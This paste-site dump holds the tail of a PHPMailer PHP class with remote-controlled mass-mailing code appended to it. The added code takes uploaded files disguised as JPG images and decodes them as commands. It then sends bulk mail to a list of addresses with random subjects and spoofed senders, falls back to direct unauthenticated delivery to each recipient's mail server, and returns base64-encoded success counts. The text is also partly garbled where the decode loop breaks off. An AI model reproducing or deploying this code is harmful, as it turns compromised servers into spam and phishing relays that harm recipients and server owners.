  2486.             'eps'   => 'application/postscript',
  2487.             'ps'    => 'application/postscript',
  2488.             'smi'   => 'application/smil',
  2489.             'smil'  => 'application/smil',
  2490.             'mif'   => 'application/vnd.mif',
  2491.             'xls'   => 'application/vnd.ms-excel',
  2492.             'ppt'   => 'application/vnd.ms-powerpoint',
  2493.             'wbxml' => 'application/vnd.wap.wbxml',
  2494.             'wmlc'  => 'application/vnd.wap.wmlc',
  2495.             'dcr'   => 'application/x-director',
  2496.             'dir'   => 'application/x-director',
  2497.             'dxr'   => 'application/x-director',
  2498.             'dvi'   => 'application/x-dvi',
  2499.             'gtar'  => 'application/x-gtar',
  2500.             'php3'  => 'application/x-httpd-php',
  2501.             'php4'  => 'application/x-httpd-php',
  2502.             'php'   => 'application/x-httpd-php',
  2503.             'phtml' => 'application/x-httpd-php',
  2504.             'phps'  => 'application/x-httpd-php-source',
  2505.             'swf'   => 'application/x-shockwave-flash',
  2506.             'sit'   => 'application/x-stuffit',
  2507.             'tar'   => 'application/x-tar',
  2508.             'tgz'   => 'application/x-tar',
  2509.             'xht'   => 'application/xhtml+xml',
  2510.             'xhtml' => 'application/xhtml+xml',
  2511.             'zip'   => 'application/zip',
  2512.             'mid'   => 'audio/midi',
  2513.             'midi'  => 'audio/midi',
  2514.             'mp2'   => 'audio/mpeg',
  2515.             'mp3'   => 'audio/mpeg',
  2516.             'mpga'  => 'audio/mpeg',
  2517.             'aif'   => 'audio/x-aiff',
  2518.             'aifc'  => 'audio/x-aiff',
  2519.             'aiff'  => 'audio/x-aiff',
  2520.             'ram'   => 'audio/x-pn-realaudio',
  2521.             'rm'    => 'audio/x-pn-realaudio',
  2522.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  2523.             'ra'    => 'audio/x-realaudio',
  2524.             'wav'   => 'audio/x-wav',
  2525.             'bmp'   => 'image/bmp',
  2526.             'gif'   => 'image/gif',
  2527.             'jpeg'  => 'image/jpeg',
  2528.             'jpe'   => 'image/jpeg',
  2529.             'jpg'   => 'image/jpeg',
  2530.             'png'   => 'image/png',
  2531.             'tiff'  => 'image/tiff',
  2532.             'tif'   => 'image/tiff',
  2533.             'eml'   => 'message/rfc822',
  2534.             'css'   => 'text/css',
  2535.             'html'  => 'text/html',
  2536.             'htm'   => 'text/html',
  2537.             'shtml' => 'text/html',
  2538.             'log'   => 'text/plain',
  2539.             'text'  => 'text/plain',
  2540.             'txt'   => 'text/plain',
  2541.             'rtx'   => 'text/richtext',
  2542.             'rtf'   => 'text/rtf',
  2543.             'vcf'   => 'text/vcard',
  2544.             'vcard' => 'text/vcard',
  2545.             'xml'   => 'text/xml',
  2546.             'xsl'   => 'text/xml',
  2547.             'mpeg'  => 'video/mpeg',
  2548.             'mpe'   => 'video/mpeg',
  2549.             'mpg'   => 'video/mpeg',
  2550.             'mov'   => 'video/quicktime',
  2551.             'qt'    => 'video/quicktime',
  2552.             'rv'    => 'video/vnd.rn-realvideo',
  2553.             'avi'   => 'video/x-msvideo',
  2554.             'movie' => 'video/x-sgi-movie'
  2555.         );
  2556.         return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  2557.     }
  2558.  
  2559.     public static function filenameToType($filename)
  2560.     {
  2561.         // In case the path is a URL, strip any query string before getting extension
  2562.         $qpos = strpos($filename, '?');
  2563.         if (false !== $qpos) {
  2564.             $filename = substr($filename, 0, $qpos);
  2565.         }
  2566.         $pathinfo = self::mb_pathinfo($filename);
  2567.         return self::_mime_types($pathinfo['extension']);
  2568.     }
  2569.  
  2570.     public static function mb_pathinfo($path, $options = null)
  2571.     {
  2572.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2573.         $pathinfo = array();
  2574.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2575.             if (array_key_exists(1, $pathinfo)) {
  2576.                 $ret['dirname'] = $pathinfo[1];
  2577.             }
  2578.             if (array_key_exists(2, $pathinfo)) {
  2579.                 $ret['basename'] = $pathinfo[2];
  2580.             }
  2581.             if (array_key_exists(5, $pathinfo)) {
  2582.                 $ret['extension'] = $pathinfo[5];
  2583.             }
  2584.             if (array_key_exists(3, $pathinfo)) {
  2585.                 $ret['filename'] = $pathinfo[3];
  2586.             }
  2587.         }
  2588.         switch ($options) {
  2589.             case PATHINFO_DIRNAME:
  2590.             case 'dirname':
  2591.                 return $ret['dirname'];
  2592.             case PATHINFO_BASENAME:
  2593.             case 'basename':
  2594.                 return $ret['basename'];
  2595.             case PATHINFO_EXTENSION:
  2596.             case 'extension':
  2597.                 return $ret['extension'];
  2598.             case PATHINFO_FILENAME:
  2599.             case 'filename':
  2600.                 return $ret['filename'];
  2601.             default:
  2602.                 return $ret;
  2603.         }
  2604.     }
  2605.     public function set($name, $value = '')
  2606.     {
  2607.         try {
  2608.             if (isset($this->$name)) {
  2609.                 $this->$name = $value;
  2610.             } else {
  2611.                 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2612.             }
  2613.         } catch (Exception $exc) {
  2614.             $this->setError($exc->getMessage());
  2615.             if ($exc->getCode() == self::STOP_CRITICAL) {
  2616.                 return false;
  2617.             }
  2618.         }
  2619.         return true;
  2620.     }
  2621.  
  2622.     public function secureHeader($str)
  2623.     {
  2624.         return trim(str_replace(array("\r", "\n"), '', $str));
  2625.     }
  2626.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  2627.     {
  2628.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2629.     }
  2630.  
  2631.     public function sign($cert_filename, $key_filename, $key_pass)
  2632.     {
  2633.         $this->sign_cert_file = $cert_filename;
  2634.         $this->sign_key_file = $key_filename;
  2635.         $this->sign_key_pass = $key_pass;
  2636.     }
  2637.     public function DKIM_QP($txt)
  2638.     {
  2639.         $line = '';
  2640.         for ($i = 0; $i < strlen($txt); $i++) {
  2641.             $ord = ord($txt[$i]);
  2642.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2643.                 $line .= $txt[$i];
  2644.             } else {
  2645.                 $line .= '=' . sprintf('%02X', $ord);
  2646.             }
  2647.         }
  2648.         return $line;
  2649.     }
  2650.     public function DKIM_Sign($signHeader)
  2651.     {
  2652.         if (!defined('PKCS7_TEXT')) {
  2653.             if ($this->exceptions) {
  2654.                 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2655.             }
  2656.             return '';
  2657.         }
  2658.         $privKeyStr = file_get_contents($this->DKIM_private);
  2659.         if ($this->DKIM_passphrase != '') {
  2660.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2661.         } else {
  2662.             $privKey = $privKeyStr;
  2663.         }
  2664.         if (openssl_sign($signHeader, $signature, $privKey)) {
  2665.             return base64_encode($signature);
  2666.         }
  2667.         return '';
  2668.     }
  2669.     public function DKIM_HeaderC($signHeader)
  2670.     {
  2671.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2672.         $lines = explode("\r\n", $signHeader);
  2673.         foreach ($lines as $key => $line) {
  2674.             list($heading, $value) = explode(':', $line, 2);
  2675.             $heading = strtolower($heading);
  2676.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2677.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2678.         }
  2679.         $signHeader = implode("\r\n", $lines);
  2680.         return $signHeader;
  2681.     }
  2682.     public function DKIM_BodyC($body)
  2683.     {
  2684.         if ($body == '') {
  2685.             return "\r\n";
  2686.         }
  2687.         // stabilize line endings
  2688.         $body = str_replace("\r\n", "\n", $body);
  2689.         $body = str_replace("\n", "\r\n", $body);
  2690.         // END stabilize line endings
  2691.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2692.             $body = substr($body, 0, strlen($body) - 2);
  2693.         }
  2694.         return $body;
  2695.     }
  2696.     public function DKIM_Add($headers_line, $subject, $body)
  2697.     {
  2698.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2699.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2700.         $DKIMquery = 'dns/txt'; // Query method
  2701.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2702.         $subject_header = "Subject: $subject";
  2703.         $headers = explode($this->LE, $headers_line);
  2704.         $from_header = '';
  2705.         $to_header = '';
  2706.         $current = '';
  2707.         foreach ($headers as $header) {
  2708.             if (strpos($header, 'From:') === 0) {
  2709.                 $from_header = $header;
  2710.                 $current = 'from_header';
  2711.             } elseif (strpos($header, 'To:') === 0) {
  2712.                 $to_header = $header;
  2713.                 $current = 'to_header';
  2714.             } else {
  2715.                 if ($current && strpos($header, ' =?') === 0) {
  2716.                     $current .= $header;
  2717.                 } else {
  2718.                     $current = '';
  2719.                 }
  2720.             }
  2721.         }
  2722.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2723.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2724.         $subject = str_replace(
  2725.             '|',
  2726.             '=7C',
  2727.             $this->DKIM_QP($subject_header)
  2728.         ); // Copied header fields (dkim-quoted-printable)
  2729.         $body = $this->DKIM_BodyC($body);
  2730.         $DKIMlen = strlen($body); // Length of body
  2731.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2732.         $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2733.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2734.             $DKIMsignatureType . '; q=' .
  2735.             $DKIMquery . '; l=' .
  2736.             $DKIMlen . '; s=' .
  2737.             $this->DKIM_selector .
  2738.             ";\r\n" .
  2739.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2740.             "\th=From:To:Subject;\r\n" .
  2741.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2742.             "\tz=$from\r\n" .
  2743.             "\t|$to\r\n" .
  2744.             "\t|$subject;\r\n" .
  2745.             "\tbh=" . $DKIMb64 . ";\r\n" .
  2746.             "\tb=";
  2747.         $toSign = $this->DKIM_HeaderC(
  2748.             $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2749.         );
  2750.         $signed = $this->DKIM_Sign($toSign);
  2751.         return $dkimhdrs . $signed . "\r\n";
  2752.     }
  2753.     public function getToAddresses()
  2754.     {
  2755.         return $this->to;
  2756.     }
  2757.  
  2758.     public function getCcAddresses()
  2759.     {
  2760.         return $this->cc;
  2761.     }
  2762.  
  2763.     public function getBccAddresses()
  2764.     {
  2765.         return $this->bcc;
  2766.     }
  2767.  
  2768.     public function getReplyToAddresses()
  2769.     {
  2770.         return $this->ReplyTo;
  2771.     }
  2772.  
  2773.     public function getAllRecipientAddresses()
  2774.     {
  2775.         return $this->all_recipients;
  2776.     }
  2777.  
  2778.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2779.     {
  2780.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  2781.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2782.             call_user_func_array($this->action_function, $params);
  2783.         }
  2784.     }
  2785. }
  2786. class phpmailerException extends Exception
  2787. {
  2788.     public function errorMessage()
  2789.     {
  2790.         $errorMsg = '' . $this->getMessage() . "
  2791. \n";
  2792.         return $errorMsg;
  2793.     }
  2794. }
  2795.  
  2796. /////////////////////////////////////////////////////////////////
  2797. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file)
  2798. {
  2799.     $mail = new PHPMailer();
  2800.     $mail->isMail();
  2801.     $mail->CharSet = 'utf-8';
  2802.     $mail->SetFrom($from_email, $from_name);
  2803.     $mail->AddAddress($to);
  2804.     $mail->Subject = $subject;
  2805.    
  2806.     if ($type == "1")
  2807.     {
  2808.         $mail->MsgHTML($body);
  2809.     }
  2810.     elseif ($type == "2")
  2811.     {
  2812.         $mail->isHTML(false);
  2813.         $mail->Body = $body;
  2814.     }
  2815.     if (isset($_FILES))
  2816.     {
  2817.         foreach($_FILES as $key => $file)
  2818.         {
  2819.             if ($file['tmp_name'] != $config_file)
  2820.             {
  2821.                 $mail->addAttachment($file['tmp_name'], $file['name']);
  2822.             }
  2823.         }
  2824.     }
  2825.     if (!$mail->send())
  2826.     {
  2827.         $to_domain = explode("@", $to);
  2828.         $to_domain = $to_domain[1];
  2829.         $mail->IsSMTP();
  2830.         $mail->Host       = mx_lookup($to_domain);
  2831.         $mail->Port       = 25;
  2832.         $mail->SMTPAuth   = false;
  2833.         if (!$mail->send())
  2834.         {
  2835.             return Array(0, $mail->ErrorInfo);
  2836.         }
  2837.         else
  2838.         {
  2839.             return Array(2, 0);
  2840.         }
  2841.     }
  2842.     else
  2843.     {
  2844.         return Array(1, 0);
  2845.     }
  2846. }
  2847. if (isset($_FILES))
  2848. {
  2849.     foreach($_FILES as $key => $file)
  2850.     {
  2851.         if(strpos($file['name'], ".jpg"))
  2852.         {
  2853.             $res = type1_send($file['tmp_name']);
  2854.             if ($res)
  2855.             {
  2856.                 echo $res;
  2857.             }
  2858.         }
  2859.     }
  2860. }
  2861. function mx_lookup($hostname)
  2862. {
  2863.     @getmxrr($hostname, $mxhosts, $precedence);
  2864.     if(count($mxhosts) === 0) return '127.0.0.1';
  2865.     $position = array_keys($precedence, min($precedence));
  2866.     return $mxhosts[$position[0]];
  2867. }
  2868. function myhex2bin( $str ) {
  2869.     $sbin = "";
  2870.     $len = strlen( $str );
  2871.     for ( $i = 0; $i < $len; $i += 2 ) {
  2872.         $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  2873.     }
  2874.     return $sbin;
  2875. }
  2876.  
  2877. function decode($data, $key)
  2878. {
  2879.     $out_data = "";
  2880.     for ($i=0; $i$email)
  2881.     {
  2882.         $theme = $data['s'][array_rand($data['s'])];
  2883.         $theme = alter_macros($theme);
  2884.         $theme = num_macros($theme);
  2885.         $theme = xnum_macros($theme);
  2886.         $message = $data['l'];
  2887.         $message = alter_macros($message);
  2888.         $message = num_macros($message);
  2889.         $message = xnum_macros($message);
  2890.         $message = fteil_macros($message, $uid);
  2891.         $from = $data['f'][array_rand($data['f'])];
  2892.         $from = alter_macros($from);
  2893.         $from = num_macros($from);
  2894.         $from = xnum_macros($from);
  2895.        
  2896.         if (strstr($from, "[CUSTOM]") == FALSE)
  2897.         {
  2898.             $from = from_host($from);
  2899.         }
  2900.         else
  2901.         {
  2902.             $from = str_replace("[CUSTOM]", "", $from);
  2903.         }
  2904.        
  2905.         $from_email = explode("<", $from);
  2906.         $from_email = explode(">", $from_email[1]);
  2907.         $from_name = explode("\"", $from);
  2908.         $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
  2909.        
  2910.         if ($last_error[1] === 0)
  2911.         {
  2912.             $good++;
  2913.         }
  2914.         else
  2915.         {
  2916.             $bad++;
  2917.             $good = count($data['e']) - $bad;
  2918.         }
  2919.     }
  2920.    
  2921.     $res["r"]["t"] = $last_error[0];
  2922.     $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2923.     $res["r"]["g"] = $good;
  2924.     $res["r"]["b"] = $bad;
  2925.     return base64_encode(serialize($res));
  2926. }
Add Comment
Please, Sign In to add comment